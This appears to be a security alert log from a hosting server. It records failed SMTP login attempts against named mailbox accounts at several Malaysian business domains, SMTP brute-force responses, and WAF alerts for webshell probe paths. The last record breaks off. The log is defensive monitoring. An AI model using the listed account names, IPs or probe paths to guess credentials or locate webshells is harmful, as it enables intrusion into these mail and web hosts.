2026-02-01 09:39:45 dovecot_login authenticator failed for H=(YEgZyrs5) [178.16.54.22]:53273: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:39:10 dovecot_login authenticator failed for H=(mI16VXp) [178.16.54.22]:64500: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:39:42 dovecot_login authenticator failed for H=(qQhpqdHrm) [158.94.208.175]:52390: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-01 09:40:42 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:42327: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.52.170
country_id: 1269750
description:
2026-02-01 09:40:08 dovecot_login authenticator failed for H=([182.95.52.170]) [182.95.52.170]:47548: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:40:14 dovecot_login authenticator failed for H=(cUJC0Jsm) [158.94.208.175]:52505: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-02-01 09:40:30 dovecot_login authenticator failed for H=([125.61.36.25]) [125.61.36.22]:58964: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 09:40:41 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:34002: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:40:15 dovecot_login authenticator failed for H=(tmmPwa2gu0) [178.16.54.22]:59301: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-02-01 09:40:22 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:42910: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.99.14
country_id: 290557
description:
2026-02-01 09:41:00 dovecot_login authenticator failed for H=([5.32.99.14]) [5.32.99.14]:35523: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 09:41:01 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:54348: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:40:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47020: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.129.225.4
country_id: 1269750
description:
2026-02-01 09:40:15 dovecot_login authenticator failed for H=([203.129.225.4]) [203.129.225.4]:44624: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:41:25 dovecot_login authenticator failed for H=(E0ys0RJsiK) [178.16.54.22]:55540: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.237.115.208
country_id: 732800
description:
2026-02-01 09:41:35 dovecot_login authenticator failed for H=(151.237.115.208.pronet.bg) [151.237.115.208]:44462: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.176.126
country_id: 1269750
description:
2026-02-01 09:41:40 dovecot_login authenticator failed for H=(nsg-corporate-126.176.185.122.airtel.in) [122.185.176.126]:42282: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-02-01 09:41:48 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:37304: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:41:57 dovecot_login authenticator failed for H=(osNUeWj) [158.94.208.175]:58619: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.59.113.2
country_id: 6252001
description:
2026-02-01 09:41:59 dovecot_login authenticator failed for H=([127.0.0.1]) [172.59.113.2]:31844: 535 Incorrect authentication data (set_id=info@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.248.191.44
country_id: 690791
domain: usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/usfood.com.my/product-details.php?id=385699 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.36.53
country_id: 1814991
description:
2026-02-01 09:42:51 dovecot_login authenticator failed for H=([61.184.36.58]) [61.184.36.53]:52986: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:42:04 dovecot_login authenticator failed for H=(AMrSAq) [178.16.54.22]:53570: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:42:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58726: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.11.64.42
country_id: 1668284
description:
2026-02-01 09:43:22 dovecot_login authenticator failed for H=124-11-64-42.static.tfn.net.tw [124.11.64.42]:51466: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-02-01 09:43:57 dovecot_login authenticator failed for H=(syn-065-191-211-033.res.spectrum.com) [65.191.211.33]:46882: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:44:00 dovecot_login authenticator failed for H=(iYFDx7P) [178.16.54.22]:58327: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:43:03 dovecot_login authenticator failed for H=(vQnObLd3) [178.16.54.22]:63587: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-02-01 09:43:14 dovecot_login authenticator failed for H=([36.39.140.2]) [36.39.140.2]:58892: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-02-01 09:43:33 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:57837: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 09:43:03 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:16996: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:43:20 dovecot_login authenticator failed for H=(yBbBhronIQ) [158.94.208.175]:61639: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.246.114.111
country_id: 1880251
description:
2026-02-01 09:44:05 dovecot_login authenticator failed for H=([124.246.114.111]) [124.246.114.111]:40496: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:44:34 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50614: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:44:01 dovecot_login authenticator failed for H=(kRCVS73Sz) [178.16.54.22]:56612: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.195.29.57
country_id: 2017370
description:
2026-02-01 09:44:35 dovecot_login authenticator failed for H=(109x195x29x57.static-business.saratov.ertelecom.ru) [109.195.29.57]:55294: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.7
country_id: 1733045
description:
2026-02-01 09:44:27 dovecot_login authenticator failed for H=([49.124.152.7]) [49.124.152.7]:39502: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:44:30 dovecot_login authenticator failed for H=(Nkf7ogLNTR) [158.94.208.175]:53690: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:45:05 dovecot_login authenticator failed for H=(ZJbHCOgL4) [178.16.54.22]:63703: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:45:03 dovecot_login authenticator failed for H=(5KZVYnYR) [158.94.208.175]:63655: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:46:46 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44630: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:46:10 dovecot_login authenticator failed for H=(k11Rrs0ou) [158.94.208.175]:65412: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-02-01 09:46:13 dovecot_login authenticator failed for H=([101.13.4.124]) [101.13.4.124]:48524: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:46:32 dovecot_login authenticator failed for H=(CogCXM) [178.16.54.22]:64821: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.0.38.130
country_id: 1210997
description:
2026-02-01 09:46:02 dovecot_login authenticator failed for H=([49.0.38.130]) [49.0.38.130]:52960: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:47:12 dovecot_login authenticator failed for H=(GZ7kLeYM) [178.16.54.22]:51421: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.97.253.246
country_id: 6252001
description:
2026-02-01 09:47:44 dovecot_login authenticator failed for H=syn-024-097-253-246.biz.spectrum.com [24.97.253.246]:37491: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:47:46 dovecot_login authenticator failed for H=(FLE2zoXyiZ) [158.94.208.175]:61942: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.50.155
country_id: 1269750
description:
2026-02-01 09:47:51 dovecot_login authenticator failed for H=(abts-north-static-155.50.160.122.airtelbroadband.in) [122.160.50.155]:52636: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:48:04 dovecot_login authenticator failed for H=(oJ2hjVCiC) [178.16.54.22]:60319: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:48:14 dovecot_login authenticator failed for H=(2IjXrooiZ) [178.16.54.22]:59649: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:48:19 dovecot_login authenticator failed for H=(5fQeuYP) [158.94.208.175]:63185: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:48:54 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35540: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:49:57 dovecot_login authenticator failed for H=(XS6RuKD) [158.94.208.175]:58618: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:49:11 dovecot_login authenticator failed for H=(I5bxO9) [178.16.54.22]:58664: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:50:30 dovecot_login authenticator failed for H=(mVNfVlWe) [158.94.208.175]:56148: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:50:32 dovecot_login authenticator failed for H=(vcH1KzLfOH) [178.16.54.22]:58896: 535 Incorrect authentication data (set_id=felioit)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.149.91.223
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=934392 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:51:27 dovecot_login authenticator failed for H=(afgaUCkJsx) [178.16.54.22]:55241: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:51:02 dovecot_login authenticator failed for H=(SrYZ1bKxFY) [158.94.208.175]:59651: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 09:51:46 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:54032: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:51:05 dovecot_login authenticator failed for H=(2Kz46MxEg) [178.16.54.22]:54124: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:51:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50536: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:52:08 dovecot_login authenticator failed for H=(1eudR5Z2) [158.94.208.175]:58089: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.65.53
country_id: 1512440
description:
2026-02-01 09:52:10 dovecot_login authenticator failed for H=([213.230.65.53]) [213.230.65.53]:38620: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.239.129.2
country_id: 1814991
description:
2026-02-01 09:52:23 dovecot_login authenticator failed for H=(3.129.239.124.broad.ts.he.dynamic.163data.com.cn) [124.239.129.2]:52497: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.226.210.109
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/markbaker/matrix/classes/src/functions/inverse.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 09:52:09 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:38880: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:52:12 dovecot_login authenticator failed for H=(jHY2RJLze) [178.16.54.22]:64074: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:53:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58998: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 09:53:38 dovecot_login authenticator failed for H=(uSKaEo) [141.98.11.48]:52955: 535 Incorrect authentication data (set_id=ching-loon.ong)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.244.205
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=953052 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.84.179.128
country_id: 3996063
description:
2026-02-01 09:53:57 dovecot_login authenticator failed for H=([140.84.179.128]) [140.84.179.128]:52452: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:53:11 dovecot_login authenticator failed for H=(Dyt3PMvW) [178.16.54.22]:62591: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-02-01 09:54:57 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:47492: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 09:54:03 dovecot_login authenticator failed for H=(YiUaJCxVWv) [141.98.11.48]:57813: 535 Incorrect authentication data (set_id=ching-loon.ong)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:54:06 dovecot_login authenticator failed for H=(QTOzNON) [178.16.54.22]:64538: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.151.88.27
country_id: 6251999
description:
2026-02-01 09:54:11 dovecot_login authenticator failed for H=([184.151.88.27]) [184.151.88.27]:60132: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:54:23 dovecot_login authenticator failed for H=(Xc6oV9O9O) [178.16.54.22]:57746: 535 Incorrect authentication data (set_id=felioit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 09:55:16 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:55076: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 09:55:47 dovecot_login authenticator failed for H=(uQrr1HJy) [141.98.11.48]:57123: 535 Incorrect authentication data (set_id=ching-loon.ong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-02-01 09:56:01 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:53336: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-01 09:56:01 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:18084: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.91.69.136
country_id: 2635167
description:
2026-02-01 09:55:14 dovecot_login authenticator failed for H=(vjtOEy) [185.91.69.136]:60266: 535 Incorrect authentication data (set_id=may)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.0.191.33
country_id: 6252001
description:
2026-02-01 09:55:15 dovecot_plain authenticator failed for H=c-73-0-191-33.hsd1.fl.comcast.net (sargal) [73.0.191.33]:34172: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 09:55:18 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:47680: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.76.248.54
country_id: 1814991
description:
2026-02-01 09:55:24 dovecot_login authenticator failed for H=([222.76.248.54]) [222.76.248.54]:49678: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 09:55:36 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:46104: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:55:04 dovecot_login authenticator failed for H=(bkvgEGg6) [178.16.54.22]:49917: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:55:21 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34358: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 09:55:24 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (oedearric) [87.103.126.54]:58109: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.72.61.166
country_id: 1210997
description:
[2026-02-01 09:56:34 +0800] info [webmaild] 103.72.61.166 - central@agpc.org.my "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 09:56:38 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:48274: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.152.90.68
country_id: 1814991
description:
2026-02-01 09:56:42 dovecot_login authenticator failed for H=([124.152.90.68]) [124.152.90.68]:44725: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:56:08 dovecot_login authenticator failed for H=(9ajPNuMT) [178.16.54.22]:56935: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.97.253.246
country_id: 6252001
description:
2026-02-01 09:56:10 dovecot_login authenticator failed for H=syn-024-097-253-246.biz.spectrum.com [24.97.253.246]:52074: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-02-01 09:56:16 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:33839: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 09:56:26 dovecot_login authenticator failed for H=(uIeE7sr) [141.98.11.48]:52389: 535 Incorrect authentication data (set_id=ching-loon.ong)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:56:27 dovecot_login authenticator failed for H=(hNGcufTxT) [178.16.54.22]:56175: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-01 09:57:42 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:35087: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 09:57:04 dovecot_login authenticator failed for H=(PO4oKAE) [141.98.11.48]:54889: 535 Incorrect authentication data (set_id=ching-loon.ong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:57:14 dovecot_login authenticator failed for H=(3tB9yey) [178.16.54.22]:52662: 535 Incorrect authentication data (set_id=daniel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:57:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51348: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.37.13.66
country_id: 1814991
description:
2026-02-01 09:58:35 dovecot_login authenticator failed for H=([59.37.13.66]) [59.37.13.66]:53749: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.37.223.58
country_id: 3175395
description:
2026-02-01 09:58:45 dovecot_login authenticator failed for H=net-2-37-223-58.cust.vodafonedsl.it [2.37.223.58]:33100: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.36.53
country_id: 1814991
description:
2026-02-01 09:58:48 dovecot_login authenticator failed for H=([61.184.36.58]) [61.184.36.53]:60784: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:58:09 dovecot_login authenticator failed for H=(nLdf0gYi) [178.16.54.22]:52524: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.48
country_id: 597427
description:
2026-02-01 09:58:11 dovecot_login authenticator failed for H=(RRgYTlS) [141.98.11.48]:62481: 535 Incorrect authentication data (set_id=ching-loon.ong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 09:58:32 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:49620: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:59:01 dovecot_login authenticator failed for H=(AtaERF0yh) [178.16.54.22]:61782: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
